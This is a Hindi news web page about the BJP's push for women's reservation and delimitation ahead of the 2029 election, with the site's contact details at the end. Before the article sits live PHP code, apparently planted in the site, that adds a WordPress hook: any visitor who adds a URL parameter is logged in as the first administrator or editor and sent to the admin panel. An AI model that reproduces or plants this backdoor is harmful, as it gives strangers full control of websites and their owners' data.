// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); महिला आरक्षण बिल और परिसीमन से बड़ा दांव खेल रही भाजपा, क्या मिशन 2029 की तैयारी शुरू? – प्रत्युषा आशा की नयी किरण
देश

महिला आरक्षण बिल और परिसीमन से बड़ा दांव खेल रही भाजपा, क्या मिशन 2029 की तैयारी शुरू?

नई दिल्ली

 संसद का वर्तमान बजट सत्र बढ़ा दिया गया है। इसके बाद अब 16 से 18 अप्रैल के बीच लोकसभा और राज्यसभा दोनों सदनों की 3 दिवसीय बैठक होगी। इस विस्तारित सत्र को लेकर केंद्र सरकार की बड़ी तैयारियां हैं। सरकार इस तीन दिनों की कार्यवाही के दौरान महिला आरक्षण से संबंधित नारी शक्ति वंदन अधिनियम में संशोधन से जुड़ा विधेयक ला सकती है। इसके अलावा केंद्र में सत्तारूढ़ बीजेपी परिसीमन की प्रक्रिया भी जल्द ही शुरू कर सकती है। रिपोर्ट्स के मुताबिक इन कदमों के साथ ही बीजेपी ने अभी से ही मिशन 2029 की तैयारी शुरू कर दी है।

जहां 2014 से पहले बीजेपी का फोकस राम मंदिर, अनुच्छेद 370 और यूनिफॉर्म सिविल कोड जैसे मुद्दों पर था, वहीं अब पार्टी नए एजेंडे के साथ आगे बढ़ रही है। महिला आरक्षण के साथ साथ ‘वन नेशन, वन इलेक्शन’ का मुद्दा भी तेजी पकड़ रहा है। बीजेपी इसे अपने बड़े सुधार के रूप में पेश करेगी और चुनाव में इसे वोट में बदलना चाहेगी।

महिलाओं को मिलेगा 33 फीसदी आरक्षण
इससे पहले केंद्र सरकार परिसीमन (डिलिमिटेशन) प्रक्रिया शुरू करने और लोकसभा और विधानसभा में 33 प्रतिशत महिला आरक्षण लागू करने की दिशा में तेजी से काम कर रही है। इसे एक रणनीतिक फैसला माना जा रहा है। ‘नारी शक्ति वंदन अधिनियम’ यानी महिला आरक्षण कानून को संसद के विस्तारित सत्र में पास कराया जा सकता है।

गौरतलब है कि यह कानून सितंबर 2023 में पास हुआ था, लेकिन इसमें लागू करने की कोई तय समय सीमा नहीं थी। अब 2029 के चुनाव को ध्यान में रखते हुए बीजेपी इसे लागू करने के लिए तैयार है।

2027 तक पूरा होगा परिसीमन
वहीं परिसीमन की प्रक्रिया भी 2027 तक पूरा होने की संभावना है। प्रस्ताव है कि लोकसभा और विधानसभा सीटों की संख्या करीब 50 प्रतिशत बढ़ाई जाए। इससे लोकसभा की कुल सीटें बढ़कर 816 हो सकती हैं, जिनमें से 272 सीटें महिलाओं के लिए आरक्षित होंगी। इससे पुरुष और महिला दोनों वर्गों को संतुलित प्रतिनिधित्व मिलेगा। परिसीमन को लेकर दक्षिण भारत में जो चिंता थी, उसे दूर करने के लिए सरकार राज्यों के बीच सीटों का अनुपात बरकरार रखने पर भी विचार कर रही है। अगर यह योजनाएं 2029 तक लागू हो जाती है, तो भारतीय राजनीति में बड़ा बदलाव देखने को मिलेगा। बीजेपी इस बदलाव का श्रेय लेकर महिला वोटरों को और मजबूत तरीके से जोड़ सकती है।

RO No. 13169/ 31

RO No. 13098/ 20

PRATYUSHAASHAKINAYIKIRAN.COM
Editor : Maya Puranik
Permanent Address : Yadu kirana store ke pass Parshuram nagar professor colony raipur cg
Email : puranikrajesh2008@gmail.com
Mobile : -91-9893051148
Website : pratyushaashakinayikiran.com

जनसम्पर्क विभाग – आरएसएस फीड